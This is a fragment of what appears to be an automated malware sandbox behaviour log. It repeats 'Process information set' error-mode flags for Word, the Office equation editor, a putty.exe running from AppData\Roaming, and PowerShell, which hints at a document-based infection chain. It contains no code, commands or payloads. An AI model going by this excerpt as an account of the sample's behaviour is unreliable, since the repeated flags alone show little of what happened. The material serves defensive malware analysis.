Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
